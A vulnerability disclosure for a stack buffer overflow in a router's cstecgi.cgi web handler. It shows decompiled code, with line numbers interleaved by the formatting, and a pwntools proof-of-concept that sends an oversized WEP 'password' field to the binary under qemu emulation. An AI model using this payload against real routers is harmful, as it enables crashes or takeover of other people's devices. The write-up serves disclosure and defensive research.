

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_00413f80 (at address 0x413f80) gets the JSON parameter password, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_00413f80 - (cstecgi.cgi)
      local_22c = 0;
      local_228 = 0;
107
108
      local_224 = 0;
109
      ssid_ptr = websGetVar(param_1, "ssid", "");
      bssid_ptr = websGetVar(param_1,"bssid","");
110
      encrypt_ptr = (char *)websGetVar(param_1,"encrypt","");
111
      cipher_ptr = (char *)websGetVar(param_1,"cipher","");
112
     password_ptr = (char *)websGetVar(param_1,"password","");
113
      opmode_ptr = (char *)websGetVar(param_1,"channel","0");
114
      channel_value = atoi(opmode_ptr);
115
      opmode_ptr = (char *)websGetVar(param_1,"opmode","");
116
      __nptr = (char *)websGetVar(param_1,"WiFiIdx","0");
117
118
      wifi_index = atoi(__nptr);
119
      local_20c = 0;
120
      sprintf((char *)&local_248,"wlan%d",wifi_index);
      sprintf((char *)&local_240,"wlan%d-vxd",wifi_index);
121
122
      sprintf((char *)&local_230,"wlan%d-vxd",1 - wifi_index);
      FUN_00422298(&local_248);
123
      apmib_get(0xc0,&local_21c);
124
      if ((local_21c == 0) && (iVar1 = strcmp(opmode_ptr,"wisp"), iVar1 == 0)) {
125
126
        local_220 = 0;
        apmib_set(0x69,&local_220);
127
128
129
      apmib_set(0x1bbc,bssid_ptr);
130
      apmib_set(2,&channel_value);
```

The program gets the JSON parameter encrypt, password, opmode. When encrypt is equal to WEP and opmode is equal to rpt, the program will enter the branch at line 268.

```
Decompile: FUN_00413f80 - (cstecgi.cgi)
247
           local_68 = 0;
           local_64 = 0;
248
249
           local_60 = 0;
250
           local_5c = 0;
           local_58 = 0;
251
252
           local_54 = 0;
           local_50 = 0;
253
           local_104 = 1;
254
255
           iVar1 = strncmp(cipher_ptr,"OPEN",5);
256
           local_70 = (uint)(iVar1 != 0);
           if (local_208 == 1) {
257
             if (sVar2 == 10) {
258
259
               local_78 = 1;
260
             else {
261
               if (sVar2 == 0x1a) {
262
                 local_78 = 2;
263
264
             }
265
266
             FUN_004232bc(password_ptr,&local_6c,sVar2);
           }
267
           else {
268
269
             if (sVar2 == 5) {
               local_78 = 1;
270
271
             }
             else {
272
               if (sVar2 == 0xd) {
273
274
                 local_78 = 2;
275
276
277
             strcpy((char *)&local_6c,password_ptr);
278
```

PoC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiRepeaterCfg",
    "opmode": "rpt",
    "encrypt": "WEP",
    "password": "A"*0x400,
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
```

```
"-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```